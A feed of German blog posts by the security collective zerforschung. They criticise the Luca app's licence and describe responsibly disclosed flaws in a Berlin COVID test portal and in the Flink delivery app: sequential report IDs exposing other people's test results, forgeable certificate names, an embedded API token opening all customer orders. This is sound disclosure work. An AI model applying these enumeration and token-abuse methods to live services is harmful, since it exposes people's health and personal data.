Tue, 30 Mar 2021 23:30:00 +0200

Update: Inzwischen hat #LucaApp die Lizenz auf eine GPLv3 geändert und die fehlenden Lizenzhinweise bei manchen der Files ergänzt.

#LucaApp hatte nach viel Kritik und gutem Zureden angekündigt, ihre App zu OpenSourcen. Nun tauchte das erste Repository auf – mit der schlimmsten Lizenz, die wir seit Langem gelesen haben. Nur Betrachtung, keine Veränderung, keine Mirrors, etc. 🧵

https://gitlab.com/lucaapp/android/-/blob/a30432ec4a01c2ca7ea9ceb26c145e7b620435fc/LICENSE

Damit kann eigentlich niemand einen Audit machen, der eine Spendenseite hat, denn das könnten kommerzielle Zwecke sein. Da die nicht-private Nutzung ausgeschlosen ist, ist auch unklar, ob unabhängige Organisationen so etwas machen können.

Wenn jemand einen Audit macht und etwas findet, dürfte man keine Code-Schnipsel zeigen.

Als Nicht-Juristen ist uns auch völlig unklar, ob geteilte Screenshots nicht schon eine Quellcode-Kopie »auf ein öffentliches oder verteiltes Netzwerk« sind. 🙈

culture4life behält sich außerdem das Recht vor, diese “Lizenz” »jederzeit und ohne Vorankündigung widerrufen« zu können – das finden wir schon ganz schön dreist. Entweder #LucaApp stellt sich der öffentlichen Kontrolle und dann bleibt der Code auch “offen”. Oder eben nicht.

Außerdem ist es untersagt, »den Quellcode [zu] übersetzen«. Unklar ob hier kompilieren oder in andere Sprachen übersetzen gemeint ist. Egal, beides Quatsch!

Ziel erfüllt: Diese handgestrickte Lizenz schreckt Menschen ab, den Code der #LucaApp öffentlich zu beurteilen oder gar zu verbessern.

Wir würden wirklich gern wissen, ob das überhaupt vor Jurist*innen stand hält.

Das war bisher nur das Android-Repo und das war schon so ein Auffahrunfall. Dabei haben wir uns noch nicht einmal den Code angeschaut 🙃

Nach dieser Lizenz haben wir auch eigentlich keine Lust mehr.

Ausserdem gilt weiterhin:

Ausserdem glaube wir nicht, dass noch eine App die Corona-Pandemie beenden wird. Eine App lenkt nur von der Relevanz richtiger Maßnahmen ab. Die Länder, die die Pandemie quasi beendet haben, haben keine Apps. Es fehlt nicht an Apps, sondern an Ressourcen im Gesundheitswesen. Den Gesungheitsämter einfach noch mehr Daten zu schicken und noch eine zusätzliche Software einzuführen bringt nichts, wenn so schon keine Kontaktverfolgung mehr möglich ist.
— zerforschung (@zerforschung) March 6, 2021

Aus den Drukos: Sie haben Open-Source-Code (BSD-Lizenz) einfach übernommen. Außer dem Entfernen von Lizenzhinweisen/Kommentaren und Whitespaceänderungen wurde nichts geändert. Damit wurde vmtl. gegen dessen Lizenz verstossen.

https://github.com/thesimj/jBaseZ85/blob/master/src/main/java/com/bubelich/jBaseZ85.java vs. https://gitlab.com/lucaapp/android/-/blob/master/Luca/app/src/main/java/de/culture4life/luca/util/Z85.java

Side-by-side Diff des Original-Codes und des Luca-Codes

Für mehr Spaß mit Zerforschung kann man uns hier unterstützen

Wir wissen, wie du diesen Winter getestet wurdest. Ein Corona-Drama in sechs Akten

Thu, 18 Mar 2021 05:00:00 +0100

Wie wir nur mal kurz einen Corona-Test machen wollten und versehentlich in ein Nest voller Sicherheitslücken gefallen sind.

Seit dem 8. März gibt es in Berlin »kostenlose Bürger*innen-Tests«. Über das Portal test-to-go.berlin kann man ein Testzentrum finden und einen Termin buchen.

Schon kurz nach Veröffentlichung der Testzentren-Übersicht der Berliner Senatsverwaltung für Gesundheit, Pflege und Gleichstellung waren wir irritiert: Alles an diesem Online-Portal machte auf uns den Eindruck, doch etwas hastig zusammengestrickt worden zu sein – und das nach nur einem Jahr Pandemie.

Anscheinend ist Internet für das @SenGPG immer noch Neuland und sie haben noch nie von Domainsquatting gehört, denn jetzttesten.berlin sowie tests-to-go.berlin (& test2go & tests2go & test-togo …) sind noch frei.
Das ist besonders bei mündlicher Weitergabe problematisch. pic.twitter.com/Ai9avSldvo
— zerforschung (@zerforschung) March 7, 2021

Da wir ohnehin einen Test machen wollten, konnten wir dieses neue Angebot gleich mal ausprobieren.

Am Testzentrum angekommen wunderten wir uns, dass wir sehr energisch auf die Online-Registrierung hingewiesen wurden. Wir standen doch schon am Eingang! Aufgrund der Menge persönlicher Daten, die in der WebApp abgefragt wurden, hätten wir eine Online-Erfassung eigentlich gern vermieden.

Nach dem Test freuten wir uns nicht nur über das negative Ergebnis – sondern guckten dabei, wie üblich, auch kurz mit auf den Datenverkehr. Bei einigen URLs hatten wir schon im ersten Moment ein mulmiges Gefühl. Das mulmige Gefühl würde in den nächsten Minuten blankem Entsetzen weichen.

Achtung: Bitte die Hände vor dem Lesen des Artikels waschen und desinfizieren, es besteht ein akutes Risiko wiederholter Facepalms.

Erster Akt: Graf Zahl und die Test-Ergebnisse

Eine Viertelstunde nach dem Test erhielten wir eine E-Mail mit einem Link zum Testergebnis von 21Dx, der Betreiberin des Testzentrums. Dieser Link führte uns auf die Domain 21dx.medicus.ai.

Wie aber hängen medicus.ai und 21Dx zusammen? Das Wiener Startup medicus.ai bietet mit ihrer Software SafePlay eine Komplettlösung für Testzentren, mittels derer man sich für Tests registrieren und hinterher die Ergebnisse abrufen kann. Unsere Berliner Testzentrum-Betreiberin 21Dx nutzt diese Software as a Service.

Wir wollen jetzt unsere eigenen Testergebnisse einsehen und folgen dem Link auf 21dx.medicus.ai. Nach einem Login erscheint die folgende Seite mit guten Nachrichten für uns:

Negatives Testergebnis im Webinterface von 21dx.medicus.ai

Viel interessanter aber: Neben der Online-Anzeige lässt sich das Ergebnis auch als PDF herunterladen, falls man es ausdrucken möchte oder etwas benötigt, das besonders offiziellen Eindruck macht:

Negatives Testergebnis als PDF

Wie immer lassen wir bei spannenden Webseiten die Netzwerk-Ansicht der Entwicklertools im Browser offen. Manchmal entdecken wir dort interessante Dinge – so leider auch hier.

Die Anfrage zum Herunterladen des PDFs geht an /api/web/v1/results/export-patient-specific-result-file?report_id=12345

Kurioserweise wird anstatt einer PDF-Datei ein JSON zurückgeliefert, welches den Datei-Inhalt als data-URI verpackt:

{
  "code":200,
  "message":"success",
  "data":{
    "fileName":"Vorname_Nachname_Abrufunixtimestamp.pdf",
    "file":"data:application/pdf;base64,…"
  }
}

Wie oben zu sehen, enthält die PDF-Datei nicht nur den Befund, sondern alle bei der Registrierung hinterlegten Daten:

Vorname
Nachname
Geschlecht
Adresse
- Straße
- Hausnummer
- Postleitzahl
- Ort
Geburtsdatum
Staatsbürgerschaft
Mobilfunknummer
E-Mail-Adresse
Probentyp
Datum und Uhrzeit der Probenahme
Datum und Uhrzeit der Ergebnisbereitstellung
Befund
Optional: Reisepass/Ausweis-Nummer
Optional: Abweichender Aufenthaltsort in den nächsten zwei Wochen
- Straße
- Hausnummer
- Postleitzahl
- Ort

Der ?report_id=12345-Parameter sah schon ziemlich verdächtig aus. Üblicherweise würde man für so etwas eine UUID verwenden, also einen langen, zufälligen Wert – und nicht einfach nur eine Zahl.

Und leider stellte sich heraus: Ändert man die Zahl im Parameter, hat man Zugriff auf die Testergebnis-PDFs anderer Menschen. Dazu muss man noch nicht mal eine bestimmte Test-ID erraten, da die Tests einfach aufsteigend durchnummeriert sind.

Spätestens jetzt wurden wir nervös. Bei personenbezogenen Daten oder gar medizinischen Daten dürfen Sicherheitslücken nicht vorkommen, erst recht nicht derart triviale. So etwas muss umgehend gemeldet werden, um das Desaster schnell und effektiv zu beseitigen. Deshalb haben wir zusammen mit dem Chaos Computer Club das BSI informiert. epicenter.works übernahm die Kommunikation mit dem CERT.at, da medicus.ai in Österreich sitzt.

Linus Neumann vom CCC sagte dazu:

»Diese Art von Schwachstellen sind ein Klassiker, vor dem immer wieder gewarnt wird. Wer sich auch nur im Entferntesten mit IT-Sicherheit auseinander setzt, macht solche Fehler einfach nicht.«

Zweiter Akt: Brian? Nein, ich bin Brian. Nein, ich!

Bei der Registrierung muss man seinen Namen, Adresse, E-Mail-Adresse und Telefonnummer angeben. Tatsächlich wird im Testzentrum der Ausweis gefordert, der dann mit den registrierten Daten verglichen wird.

Im Testportal lassen sich jederzeit die angegebenen Adressdaten, Reisepass/Ausweis-Nummer und der eventuell abweichende Aufenthaltsort verändern. Das ist auch durchaus praktisch, um bei weiteren Tests in der Zukunft nicht alles von vorn eingeben zu müssen.

Wir waren dann nur sehr erstaunt, als wir nach einer Adressänderung im Testportal unser Befund-PDF erneut heruntergeladen haben und dort die gerade aktualisierten Daten auftauchten.

Wenn sich schon die Adressen ändern lassen, vermuteten wir, dass der Name vielleicht doch auch betroffen sein könnte – obwohl dieser eigentlich in der Oberfläche als nicht bearbeitbar dargestellt wird.

Deaktiviert man diese Prüfung im Browser oder sendet man eine passende Anfrage direkt an die API, werden die Änderungen tatsächlich nicht nochmal vom Testportal überprüft. Wir können also den Namen ändern oder Pflichtfelder einfach leer lassen.

Auch nach dieser Namens- und Adressänderung lassen sich neue Befund-PDFs herunterladen. Damit ließen sich mit einem negativen Test problemlos weitere negative Test-Befunde mit beliebigen Namen und beliebigen Adressen für andere Leute erstellen.

So wäre es auch möglich, ein negatives Testzertifikat für Donald Duck zu bekommen, der ja bekanntermaßen in sehr vielen Restaurants unterwegs ist.

Dritter Akt: Und wie sieht es in Ihrem Unternehmen aus?

Nachdem die Lücke aus dem ersten Akt gemeldet war, hat medicus.ai sie geschlossen. Wir hatten erstmal genug davon, versehentlich Corona-Portale zu zerforschen und wollten eigentlich nur noch schlafen. Da sind wir noch auf ein Detail gestoßen:

Medicus.ai betreibt auch ein Dashboard, auf dem sich Statistiken über die Anzahl der positiven, negativen und ungültigen Tests pro Testzentrum abrufen lassen.

Screenshot aus dem Analytik Dashboard

Zudem lässt sich der dargestellte Zeitraum auf die Sekunde genau einschränken. Diese statistischen Daten sind sehr interessant – und machen auf Anhieb keinen brisanten Eindruck. Allerdings kann man auf der Plattform die Daten nach Testzeiträumen filtern – und den Filter sekundengenau einstellen. Wenn wir also Donald Duck beobachten, wie er um 14:42 das Testzentrum verlässt, können wir hinterher sein Ergebnis über das Dashboard herleiten. Die Ergebnisse können so leicht deanonymisiert werden.

Über das Statistik-Dashboard lässt sich auch nach Test-Betreiber filtern. Darunter finden sich nicht nur mobile Teams und Testzentren, sondern auch Firmen. Wir vermuten, dass ██████ und ██████████████ nicht wollen, dass ihre Test-Statistiken öffentlich sind.

Der Zugang zum Dashboard war mit einem Login versehen – leider haben auch hier die Zugangsdaten unserer Registrierung wunderbar funktioniert. Es wurde also nicht unterschieden zwischen zu testenden Personen und Mitarbeiter*innen, für die diese statistischen Daten eigentlich gedacht waren.

Vierter Akt: Kann ich den Test noch einmal genauer sehen?

Dadurch, dass wir über das Dashboard sekundengenau auf die Statistiken zugreifen können, wird auch ein anderes Problem größer, welches wir vorher für nicht sehr kritisch hielten:

Am Eingang des Test-Zentrums erhält man nach dem Vorzeigen des eigenen QR-Codes und des Ausweises zur Identitätsprüfung einen frischen QR-Code auf einem Stück Papier, den man beim Abstrich wieder abgibt. Nach dem Test wird dieser QR-Code und der Teststreifen abfotografiert und das Bild auf den Servern von medicus.ai abgelegt.

Die URL zum Bild hat ein einheitliches Format und unterscheidet sich lediglich an drei Stellen: die ID des Testzentrums, die User-ID der*des Getesteten und dem Timestamp des Testergebnis. Durch das Problem aus Akt 3 lässt sich die ID des Testzentrums einfacher raten und der sekundengenaue Zeitstempel der Testergebnisse ermitteln. Die User-ID der*des Getesteten ist aufsteigend und kann daher durchprobiert werden. Zudem ist das Foto nicht durch weitere Authentifizierung geschützt. Wer die URL kennt (oder errät) hat also Zugriff.

Nun sollte so ein Foto eines Ergebnisses auf einem Teststreifen nicht weiter problematisch sein – nur haben wir zumindest in den Berliner Testzentren von 21Dx Fotos gesehen, bei denen handschriftlich der Name der getesteten Person unter dem QR-Code notiert wurde.

‘Beweisfoto’ des negativen Teststreifens

Besonders brisant: Die Bilder werden im User-Interface für Testlinge gar nicht angezeigt. Warum die URL via API ausgeliefert wird, erschließt sich uns nicht.

Auch dieses Problem haben wir gemeldet.

Update: Seit das Problem behoben wurde, wird statt der URL zum Foto nun die Bilddatei selbst als base64 encoded data-url übertragen – ähnlich wie bei dem Befund-PDF.

Interlude: Der leidige Datenschutz / Eine Auftragsdatenverarbeitungsparty

Als wären diese ganzen wirklich technischen Probleme nicht genug, sind uns auch “ganz klassische” Datenschutzprobleme aufgefallen:

Das Testportal von 21Dx bei medicus.ai liegt hinter Cloudflare, d.h. alle Testergebnisse und personenbezogenen Daten werden einmal durch ein US-Unternehmen geleitet.

Ebenfalls sind Tracking-Skripte von sowohl Google als auch dem Zahlungsdienstleister Stripe eingebunden, die jeden Seitenaufruf analysieren.

Alle drei tauchen nicht in der Datenschutzerklärung von 21dx.medicus.ai auf.

Links in Mails werden über den Mail-Analytics-Service von Mandrill weitergeleitet.

Außerdem gibt es in der Oberfläche keine Möglichkeit, den eigenen Account zu löschen, dafür wäre dann wohl ein DSGVO-Löschantrag per E-Mail nötig?

Auch das Portal test-to-go.berlin der Senatsverwaltung für Gesundheit, Pflege und Gleichstellung des Landes Berlin setzt Google Analytics ein und lädt Schriftarten von Google. Hier ist es aber nicht so, dass diese nicht in der Datenschutzerklärung von test-to-go.berlin stehen würden. Stattdessen stehen dort viel mehr Dienste, als überhaupt genutzt werden: Zum Beispiel wird laut Datenschutzerklärung auf der Webseite Spotify eingebunden, ebenso wie Vimeo und YouTube.

Fünfter Akt: Ein Test am Wörthersee.

21Dx ist nicht der einzige Testzentren-Betreiber der SafePlay von medicus.ai einsetzt. Bei unserer Recherche sind wir u.a. auf die FH Kärnten gestoßen die ihren Mitarbeiter*innen und Studierenden COVID-19-Tests anbietet. Auch hier traten die gleichen Probleme auf, wie bei der SafePlay Instanz von 21Dx. Deswegen ist davon auszugehen, dass auch andere Testzentren-Betreiberfirmen, welche die Software von medicus.ai einsetzen, betroffen waren.

Sechster Akt: Test nur in rosa und hellblau?!

Aber wie kann man sich überhaupt testen lassen? Dafür hat die Berliner Senatsverwaltung die bereits eingangs erwähnte Webseite https://test-to-go.berlin einrichten lassen. Dort findet man verschiedene Testzentren. Bei manchen muss man vorher einen Termin vereinbaren, bei anderen nicht. Bei Berliner Testzentren von 21Dx, die eine Terminbuchung voraussetzen, findet die Terminvergabe zusätzlich über das Portal “samedi” statt. Also haben wir auch versucht, uns dort einen Termin zu besorgen. Als wir dort unsere Daten eingeben wollten, sahen wir diese Auswahl:

Auswahlfeld für die Anrede bei samedi Testbuchungsportal

Doch was ist daran falsch?
Bereits seit 2013 gibt es die Option, den Geschlechtseintrag offen zu lassen („kein Eintrag“). Seit Ende 2018 gibt es in Deutschland zudem die Möglichkeit, beim Eintrag ins Personenstandsregister außer den Geschlechtern „männlich“ und „weiblich“ auch die Option „divers“ zu wählen, die sogenannte „Dritte Option“. Seitdem gibt es – auch in Berlin – viele Menschen, die diese Optionen nutzen. Die Antidiskriminierungsstelle des Bundes weist darauf hin, dass es einen Verstoß gegen das AGG ist, falls man bei Registrierungen nur die Möglichkeit hat, zwischen Mann/Frau bzw. Herr/Frau zu wählen.

Update: Bei der Registrierung über samedi wird inzwischen das Geschlecht nicht mehr abgefragt. 👏

Dieser Fehler wird nicht nur im Testtermin-Buchungsportal sondern auch im Impftermin-Buchungsportal bei Doctolib begangen:

Auswahlfeld für die Anrede im Doctolib Impfbuchungsportal

Dort ist das Problem übrigens noch schlimmer: Denn im Gegensatz zu den Testzentren, bei denen manche keine Terminbuchung und damit Geschlechterauswahl voraussetzen, ist das bei den Impfzentren zwingend erforderlich.

Fazit

All diese Dinge dürfen nicht passieren. Wirklich nicht. Wenn wir als Gesellschaft die Eindämmung der Pandemie ohnehin bereits unnötigerweise über ein Jahr hinauszögern, die Impfung schleppend anläuft und auch erst jetzt offene Testmöglichkeiten für alle geschaffen werden, dann darf es wirklich nicht dazu kommen, dass selbst die grundlegenden Rahmenbedingungen für Tests so dilettantisch erledigt werden.

Tests können ein sehr wirksames Mittel in der Pandemiebekämpfung sein, wenn sie für alle verfügbar und besonders leicht zugänglich sind. Sie dürfen niemanden ausschließen und müssen so angelegt sein, dass die Menschen, die sich testen lassen wollen, sich nicht unnötig gestresst fühlen – und vor allem keine Angst davor haben.

Wenn solche Datenunfälle vorkommen, dann zerbröckelt die Bereitschaft zur Eindämmung der Pandemie beizutragen immer weiter. Wenn staatlich beauftragte Unternehmen nachlässig mit sehr sensiblen Daten umgehen, fällt das leicht auf die komplette staatliche Infrastruktur zurück. Dabei brauchen Menschen gerade jetzt das Vertrauen, damit sie die verfügbaren Angebote wie Tests und Impfungen auch wahrnehmen. Auch wir wollen uns testen und impfen lassen, ohne versehentlich in Sicherheitslücken zu stolpern!

Dazu Linus:

»Dies ist nicht die erste und sicherlich nicht die letzte Sicherheitslücke in hastig gebastelter Corona-IT. Wenn schon bei so einfachen Aufgaben katastrophale Anfänger-Fehler passieren, sollten die Verantwortlichen erstmal ihre Hausaufgaben machen. Stattdessen werden als nächstes mehrere Millionen Euro für fragwürdige Blockchain-Impfnachweise versenkt.«

Ein Teil des Vertrauens würde sich auch wieder gewinnen lassen, wenn staatliche Stellen nicht alles einfach nur deswegen einkaufen, weil AI oder Blockchain draufsteht. Diese Hype-Begriffe sind eben keine Labels, die Lösungen besonders vertrauenswürdig machen - sondern eher ein Indikator dafür, wer sich besonders leicht über den Tisch ziehen lässt.

Thomas Lohninger von der Datenschutz-NGO epicenter.works, die uns beim Kontakt mit den zuständigen Behörden in Österreich unterstützt hat, sagt dazu:

»Es ist jetzt an den betroffenen Firmen und zuständigen Datenschutzbehörden, diesen Skandal aufzuklären. Diese unverantwortliche Fahrlässigkeit zeigt wie leichtfertig mit unseren Gesundheitsdaten umgegangen wird. Was ständig auf der Strecke bleibt, ist das Vertrauen der Bevölkerung in die angemessene Bewältigung dieser Krise.«

Bei der Veröffentlichung haben wir neben CCC und epicenter.works auch mit Journalist*innen von rbb|24, SZ und dem Standard.at zusammengearbeitet. Wir haben hier nur unseren Teil der Geschichte aufgeschrieben, auf den folgenden Seiten findet ihr weitere fundierte Informationen, Recherchen und eine journalistische Einordnung:

Danke dafür <3

Disclosure Timeline

2021-03-09: Teammitglied macht Schnelltest bei 21Dx
2021-03-10: Wir schauen routinemäßig in den Datenverkehr des Testportals
2021-03-10 23:00 Uhr: Teammitglied findet die PDF-Download-URL und ändert ID
2021-03-10 23:05 Uhr: Andere Team-Mitglieder können es reproduzieren
2021-03-11 00:30 Uhr: Wir erhalten Kontakt zum BSI / CERT-Bund
2021-03-11 03:10 Uhr: Vorläufige Dokumentation des Problem 1 ist fertig, wird ans BSI gesendet
2021-03-11 13:10 Uhr: Wir schicken die vorläufige Dokumentation an Datenschutzbehörden von Bund und einigen Ländern
2021-03-11 13:15 Uhr: Bei einem zufälligen Test stellen wir fest, dass Probleme 1 und teilweise 2 behoben scheinen
2021-03-11 23:30 Uhr: Wir sind auf das offene Analytics-Dashboard gestoßen
2021-03-12 02:00 Uhr: Wir senden einen Aufschrieb der Probleme 2-4 an das CERT-Bund
2021-03-15 07:30 Uhr: CERT-Bund informiert uns, dass Aufschrieb an den Hersteller weiter geleitet wurde
2021-03-15 16:45 Uhr: Bei einem zufälligen Test stellen wir fest, dass auch Probleme 2-4 behoben scheinen
2021-03-18 06:00 Uhr: Veröffentlichung dieses Blogposts

Wenn ihr zerforschung unterstützen wollt, findet ihr hier Möglichkeiten: https://zerforschung.org/unterstuetzen/

Deine Kundendaten – geliefert in 10 Minuten

Thu, 11 Mar 2021 04:00:00 +0100

Dieser Blogpost ist auch als Thread erschienen

Kennt ihr Flink? Das ist eins der neuerdings auftauchenden Startups, die Einkäufe nach Hause liefern. Produkte in der App wählen, bezahlen und in unter 10 Minuten ist ein*e Fahrradkurier*in bei euch. Dafür gab es auch vor ein paar Tagen erst ordentlich Funding.

Als wir uns die App angeschaut haben, haben wir Erschreckendes festgestellt.

Eigentlich sind wir neugierig, wie die Lieferung so flott funktionieren kann. Wir suchen uns eine Parkbank im Liefergebiet und bringen Lust auf einen Test-Smoothie mit. Bevor wir allerdings bestellen, schauen wir uns die App etwas genauer an. Also werfen wir den MitM-Proxy an. Einer der ersten Requests an die Server von Flink ist der folgende:

Das sieht doch aus wie GraphQL? Na dann machen wir doch mal einen GraphQL-Client auf und verbinden uns mit dem Server von Flink. Doch der mag nicht mit uns sprechen.

Aber nicht schlimm: Das Authorization-Token ist netterweise in den Dateien der App hinterlegt.

Mit dem Token ist uns der Server gleich viel freundlicher gesinnt und gibt uns die Informationen, die wir wollten. Praktischerweise ist GraphQL selbstdokumentierend, so dass wir direkt erklärt bekommen, was wir jetzt lustiges tun könnten:

Dabei fiel der orders-Query besonders auf. Mal schauen, wie viele Bestellungen wir sehen können… Oh.

Mittlerweile ist unser Test-Smoothie auf der Parkbank auch angekommen. Unsere Bestellung taucht auch in der API auf: Zu sehen sind Name, Adresse, Telefonnummer, E-Mail, letzte 4 Stellen der Kreditkarte und was bestellt wurde. Über die offene API von Flink könnten wir auch die Details von allen >4000 Bestellungen der letzten Monate abfragen. Nicht nur unsere, sondern die aller Kund*innen 😱

Der Bestellung lag außerdem diese Postkarte bei, haben wir jetzt was gewonnen?

Da wir den Schritt, Unternehmen über öffentlich zugängliche Kund*innen-Daten zu informieren, bislang noch nicht gehen mussten, haben wir diesmal ausprobiert, mit den Öffentlich-Rechtlichen zusammenzuarbeiten 🤝

Gemeinsam mit dem rbb haben wir Flink schnellstmöglichst informiert, damit diese Lücke geschlossen und die Kund*innen informiert werden können. 📬

Reaktion von Flink

Flink hat die Lücke nach einem Tag geschlossen. Auf unsere Nachfrage teilen sie mit, dass der Zugriff “nur sehr kurzfristig möglich war” und dass sie ein “ein renommiertes IT Sicherheitsunternehmen beauftragt [haben], einen externen Check durchzuführen.”

Zudem sagt Flink, dass sie die Berliner Landesbeauftragte für Datenschutz und Informationsfreiheit (LfDI) informiert haben und “umfassend” kooperien wollen.

Flink sagt uns und ihren Kund*innen, dass sie bei ihren Untersuchungen “keinen Missbrauch” der Daten feststellen konnten. Ihren Kund*innen sagten sie, dass es durch “eine Sicherheitslücke […] möglich gewesen [wäre], Teile [der Daten] einzusehen (z.B. Anschrift und Email).”

Das wundert uns: Diese E-Mail haben wir auf unserem Account erhalten, mit dem wir bestellt haben und dessen Daten wir abgerufen haben. Bei Flink klingt das jedoch, als wären unsere Daten nicht abgerufen worden wären.

Wir finden, dass Flink hier klarer informieren sollte, dass Daten abgerufen wurden. Auch den Umfang der Daten sollten sie klarer benennen: Neben “Anschrift und Email” auch Telefonnummer und bei Kreditkartenzahlung der Kartentyp und die letzten 4 Stellen der Kreditkartennummer. Der LfDI hat Flink dies mitgeteilt, ihren Kund*innen jedoch nicht. Dass auch die bestellten Artikel abgefragt werden konnten, verschweigt Flink sowohl gegenüber den Kund*innen als auch der LfDI.

Reaktion der LfDI

Zusammen mit dem rbb haben wir auch die Landesbeauftragte für Datenschutz und Informationsfreiheit des Landes Berlin angefragt. Der Pressesprecher teilte uns mit, dass sie von Flink fristgemäß innerhalb von 72 Stunden informiert wurden. Flink teilte mit, dass es sich “bei den betroffenen Daten um Namen, Adressen und Kontaktdaten von Kund*innen sowie Angaben zur verwendeten Kreditkarte und den letzten vier Stellen der Kreditkartennummer handelt”.

Wir finden: Wer mit personenbezogenen Daten arbeitet, muss diese ausreichend sichern. Startups können dabei keinen Welpenschutz für sich reklamieren. Wenn das Produkt marktreif genug ist, um Kundendaten zu speichern, muss es auch reif genug sein, diese für sich zu behalten.

Positiv bleibt anzumerken, dass Flink schnell reagiert und Kund*innen sowie Datenschutzbehörde zeitnah informiert hat. Die Kommunikation gegenüber den Kund*innen sollte aber klarer sein.

Den Beitrag von rbb|24 über diese Geschichte findet ihr hier: https://www.rbb24.de/wirtschaft/thema/corona/beitraege/2021/03/goflink-sicherheitsluecke-datenschutz-kredikarte-berlin.html

Solche Kooperationen sind möglich dank eures Rundfunkbeitrags. 💸 18,36 € ¹ im Monat sind gut für eure Landesrundfunkanstalt. Für mehr Spaß mit Zerforschung kann man uns hier unterstützen: https://zerforschung.org/unterstuetzen/

dem zukünftigen Rundfunkbeitrag der Herzen ↩︎

Thread zur Luca-App

Sat, 06 Mar 2021 23:45:00 +0000

Uns haben in letzter Zeit einige Anfragen zur Sicherheit der Luca App erreicht. Hier ein paar Punkte, warum wir uns die App nicht genauer anschauen (können und wollen) 🧵

Solange eine App nicht Open Source ist, können wir immer nur einen groben Blick darauf werfen. 🧑‍💻 Manchmal fallen bei solch einem groben Blick schon Dinge auseinander.

Wir könnten in solch einem Fall sagen, dass es ein Problem gibt. Umgekehrt heißt es aber nicht, dass das System sicher ist, wenn wir nichts finden.

Viel schlimmer: Wenn wir etwas finden, was später behoben wird, könnte der Eindruck entstehen, die App sei jetzt sicher. Und wenn wir jetzt nichts finden, könnte mit dem nächsten Update was kommen.

Um die Sicherheit einer App wirklich beurteilen zu können, muss der komplette Sourcecode (App sowie auch alle Serverkomponenten) Open Source und die Architektur dokumentiert sein.

Und selbst dann sind wir vielleicht nicht die besten Ansprechpartner, weil wir eigentlich nur ein paar Leute aus dem Internet sind, die manchmal gegen Apps treten.

Wir hatten auch darüber nachgedacht, selbst Doku für die Architektur von Luca zu erstellen. Aber das sollte einfach nicht die Aufgabe von ein paar Nerds mit etwas Freizeit sein.

Eigentlich dachten wir, dass Open Source seit der Corona-Warn-App verstanden wurde, und wir darüber einfach nicht mehr diskutieren müssen. 🤷

Warum jetzt die closed source App eines dahergelaufenen Startups promoted wird ist unverständlich. Warum sich bereitwillig einem Vendor-Lock-In hingegeben wird umso mehr. 🔒

Side Note: Luca schafft scheinbar seit drei Monaten nicht, jemanden einzustellen um eingehende Fragen und Pull Requests zu beantworten.

Die Prüfung läuft, wir müssen noch um etwas Geduld bitten :)
— luca App (@_lucaApp) December 30, 2020

Ausserdem glaube wir nicht, dass noch eine App die Corona-Pandemie beenden wird. Eine App lenkt nur von der Relevanz richtiger Maßnahmen ab. Die Länder, die die Pandemie quasi beendet haben, haben keine Apps.

Es fehlt nicht an Apps, sondern an Ressourcen im Gesundheitswesen. Den Gesundheitsämter einfach noch mehr Daten zu schicken und noch eine zusätzliche Software einzuführen bringt nichts, wenn so schon keine Kontaktverfolgung mehr möglich ist.

Einreisen zum Ausrasten - die neue Corona-SMS

Mon, 01 Mar 2021 17:30:00 +0100

Gestern wurde bekannt gegeben, dass ab morgen Einreisenden bei der Einreise eine SMS gesendet wird, um sie über die Corona-Regeln zu informieren.

Wir haben privat schon ein bisschen Witze gemacht, dass die SMS sicher nur einen Link auf eine Website enthält …

Heute haben wir dann den vollständigen Text dieser SMS gefunden ( https://www.bundesgesundheitsministerium.de/presse/pressemitteilungen/2021/1-quartal/corona-sms.html ) und was sollen wir sagen… Bingo!

Was als Erstes auffällt: Es enthält wirklich gar keine Informationen, sondern nur den Link, und klingt genau wie die schlechten NINA-Warnmeldungen. Kommunikation können die!

Dann mussten wir natürlich sofort drauf klicken! …uuuuuuund: FULLSCREEN COOKIE WARNUNG, AUF DEUTSCH¹!

¹ unser Telefon ist auf Englisch gestellt und der Browser teilt dem Server auch mit, dass Englisch bevorzugt wird.

Da stellt sich natürlich die Frage: WARUM ZUM TEUFEL?! Diese Seite sollte überhaupt keine Cookies benötigen, oder können wir demnächst Werbebanner auf bundesregierung punkt de schalten?

Wir klicken also erst einmal auf “Details anzeigen” und sehen auch nicht viel mehr, weil immer noch zu wenig Platz ist

Auf dem Desktop nachgeguckt sieht es dann so aus …also alles komische Thirdparty-Dienste, und zwölfmal Marketing?! Ganz großes Tennis.

Danach ein kompliziertes Schaubild. Text natürlich als schlecht aufgelöstes Bild eingebunden. Damit wird es natürlich auch nicht übersetzt, falls die Übersetzungsfunktion des Browsers eingeschaltet wurde.

Aber noch viel schlimmer: Das Bild ist auf mobilen Geräten rechts abgeschnitten und lässt sich auch nicht horizontal reinscrollen. Auf welchen Geräten bekommt man SMS? Richtig – auf mobilen Geräten!

Zum Glück haben wir durch den kurzen Ausflug an den Desktop-PC schon gesehen, dass das Bild nur ein Link auf ein PDF ist, und klicken drauf.

Dann darf man sich entscheiden, ob man gerade aus einem “Risikogebiet”, “Hochinzidenzgebiet”, “Virusvarianten-Gebiet” oder “Kein Risikogebiet” einreist. 🤔

Wir haben leider nicht alle Länder und deren Status im Kopf, gehen wir erstmal zurück …

Zum Glück befindet sich direkt darunter ein Link zum RKI (natürlich mit eigener Cookie-Warnung), dahinter verbirgt sich eine Wall of Text mit allen Gebietsarten und Ländern aufgelistet… Keine Flaggen, keine Tabelle, kein Inhaltsverzeichnis.

(Ja, wir scrollen wirklich 1:10min!)

Nebenbei: Wir sind keine Virologen. Deswegen fragen wir uns, was genau eigentlich der Unterschied zwischen Risiko- und Hochinzidenzgebiet ist und was ein Virusvarianten-Gebiet ist, wenn Deutschland mit aktuell 37% der Neuinfektionen mit B117 nicht dazu zählt? https://www.tagesspiegel.de/berlin/zahlen-aus-berlins-groesstem-labor-b-1-1-7-mutation-in-37-prozent-positiver-corona-proben/26953640.html

Ganz am Ende der Seite dann doch: Hinweise auf andere Sprachen! In Form von nicht barrierefreien PDFs. Und warum auch immer die deutsche Bezeichung der Sprache vor dem nativen Begriff steht. Wer soll das finden?

Hier gibt es das tolle Schaubild sogar auf Englisch. Der Link zu den Risikogebieten verlinkt dann aber auf die deutsche Variante und nicht auf die englische, die es wieder nur als PDF gibt.

Warum gibt es Informationen in anderen Sprachen immer nur als PDF? Die Auflistung der Gebiete haben wir nur auf Deutsch und Englisch gefunden.

Obwohl die Website der Corona-Warn-App eine automatische Sprachenerkennung hat (anhand der Präferenz des Browsers, wie oben erwähnt), wird hier explizit auf die deutsche Variante verlinkt.

Noch schlimmer wird es bei den Links zu den Bundesländern. Die sind zwar blau und unterstrichen, aber gar keine Links.

